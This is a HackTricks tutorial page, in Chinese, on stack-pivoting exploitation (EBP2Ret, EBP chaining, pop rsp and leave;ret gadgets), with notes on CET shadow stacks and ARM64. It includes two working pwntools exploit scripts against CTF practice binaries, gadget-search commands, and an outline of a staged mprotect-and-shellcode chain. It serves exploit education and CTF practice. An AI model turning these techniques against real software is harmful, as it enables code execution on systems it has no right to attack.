hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

290 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
此技术利用操控 **基指针 (EBP/RBP)** 的能力,通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。
作为提醒,在 x86/x86-64 中 **`leave`** 等同于:
```
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
并且由于保存的 **EBP/RBP 在栈中** 位于保存的 EIP/RIP 之前,因此可以通过控制栈来控制它。
> 注意
> - 在 64 位系统中,将 EBP 替换为 RBP将 ESP 替换为 RSP。语义相同。
> - 一些编译器省略了帧指针参见“EBP 可能未被使用”)。在这种情况下,`leave` 可能不会出现,这种技术将无法工作。
### EBP2Ret
当你可以 **更改保存的 EBP/RBP 但没有直接方法更改 EIP/RIP** 时,这种技术特别有用。它利用了函数尾声的行为。
如果在 `fvuln` 执行期间,你设法在栈中注入一个 **假 EBP**,指向内存中你的 shellcode/ROP 链地址所在的区域(在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 `pop`),你可以间接控制 RIP。当函数返回时`leave` 将 RSP 设置为构造的位置,随后的 `pop rbp` 减少 RSP**有效地使其指向攻击者存储的地址**。然后 `ret` 将使用该地址。
注意你 **需要知道 2 个地址**ESP/RSP 将要去的地址,以及 `ret` 将消耗的存储在该地址的值。
#### 利用构造
首先,你需要知道一个 **可以写入任意数据/地址的地址**。RSP 将指向这里并 **消耗第一个 `ret`**
然后,你需要选择 `ret` 使用的地址,以 **转移执行**。你可以使用:
- 一个有效的 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 地址。
- **`system()`** 的地址,后面跟着适当的返回和参数(在 x86 上:`ret` 目标 = `&system`,然后 4 个垃圾字节,然后 `&"/bin/sh"`)。
- 一个 **`jmp esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着内联 shellcode。
- 一个在可写内存中分阶段的 [**ROP**](../rop-return-oriented-programing/index.html) 链。
记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间amd64 上为 8Bx86 上为 4B。你可以利用这些字节设置一个 **第二个假 EBP**,并在第一次调用返回后保持控制。
#### Off-By-One 利用
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,会使用一种变体。在这种情况下,存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前三/五个字节,以便 1 字节的覆盖可以重定向它。通常低字节(偏移量 0x00会增加以尽可能远地跳转到附近的页面/对齐区域。
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部,并执行最终的 ROP 链。
### EBP 链接
通过在栈的保存 `EBP` 槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget可以 **将 `ESP/RSP` 移动到攻击者控制的地址**
现在 `RSP` 被控制,下一条指令是 `ret`。在受控内存中放置类似以下内容:
- `&(next fake EBP)` -> 由 `leave` 中的 `pop ebp/rbp` 加载。
- `&system()` -> 由 `ret` 调用。
- `&(leave;ret)` -> 在 `system` 结束后,将 RSP 移动到下一个假 EBP 并继续。
- `&("/bin/sh")` -> `system` 的参数。
通过这种方式,可以链接多个假 EBP 来控制程序的流程。
这类似于 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html),但更复杂,仅在边缘情况下有用。
此外,这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术与 **栈泄漏** 一起调用一个成功的函数。这是页面的最终有效载荷:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 对齐提示System V ABI 要求在调用点进行 16 字节的栈对齐。如果你的链调用像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
## EBP 可能未被使用
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声不会从帧指针恢复。
- 未优化 / 使用帧指针:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- 优化 / 框架指针省略:
```bash
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
在amd64上你通常会看到`pop rbp ; ret`而不是`leave ; ret`,但如果完全省略了帧指针,那么就没有基于`rbp`的尾声可以进行跳转。
## 控制RSP的其他方法
### `pop rsp` gadget
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于该挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp` gadget**,还有一个**来自栈的泄漏**
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
在这里查看 ret2esp 技术:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
### 快速查找 pivot gadgets
使用您喜欢的 gadget 查找器搜索经典的 pivot 原语:
- `leave ; ret` 在函数或库中
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (或在 x86 上使用 `add esp, <imm> ; ret`
示例:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### 经典的透视阶段模式
在许多CTF/漏洞中使用的强大透视策略:
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存并将完整的ROP链放置在那里。
2) 返回到一个透视小工具(`leave ; ret``pop rsp``xchg rax, rsp ; ret`以将RSP移动到该区域。
3) 继续使用分阶段链例如泄漏libc调用 `mprotect`,然后 `read` shellcode然后跳转到它
## 现代缓解措施破坏堆栈透视CET/阴影堆栈)
现代x86 CPU和操作系统越来越多地部署 **CET阴影堆栈SHSTK**。启用SHSTK后`ret`会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较任何不匹配都会引发控制保护故障并终止进程。因此像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个`ret`时崩溃。
- 有关背景和更深入的细节,请参见:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- 在Linux上的快速检查
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- 实验室/CTF 注意事项:
- 一些现代发行版在硬件和 glibc 支持存在时,为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试可以通过内核启动参数 `nousershstk` 全局禁用 SHSTK或在启动时通过 glibc 可调参数选择性启用(参见参考文献)。不要在生产目标上禁用缓解措施。
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别破坏了基于 `ret` 的枢轴。
- Windows 注意事项Windows 10+ 暴露用户模式Windows 11 添加了基于“硬件强制堆栈保护”的内核模式,建立在阴影堆栈之上。兼容 CET 的进程在 `ret` 时防止堆栈枢轴/ROP开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
## ARM64
在 ARM64 中,函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP你仍然需要一种方法来 **控制 `x30`** 寄存器。
- 前言
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP 指向帧记录
```
- 尾声
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> 在 ARM64 中执行类似堆栈枢轴的方式是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址而我们有溢出)然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等效物**
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## 参考文献
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 位,越界利用,使用以 ret sled 开头的 rop 链
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 位,无 relro、canary、nx 和 pie。该程序为堆栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取堆栈泄漏然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行枢轴。
- Linux 内核文档控制流保护技术CET阴影堆栈 — 关于 SHSTK、`nousershstk``/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn内核模式硬件强制堆栈保护Windows 上的 CET 阴影堆栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}